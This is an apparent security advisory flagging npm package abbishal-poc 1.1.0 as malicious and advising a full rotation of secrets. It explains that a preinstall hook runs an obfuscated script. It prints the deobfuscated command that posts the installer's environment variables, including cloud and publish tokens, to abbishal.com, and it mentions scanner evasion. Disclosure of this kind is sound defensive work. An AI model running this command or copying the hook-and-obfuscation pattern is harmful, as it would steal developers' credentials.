abbishal-poc

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32)
On `npm install`, package.json's preinstall hook runs `sh./test.sh`, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute `curl -d "$(env)" https://abbishal.com/sh/poc`. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.

Compromised versions (1)

• 1.1.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.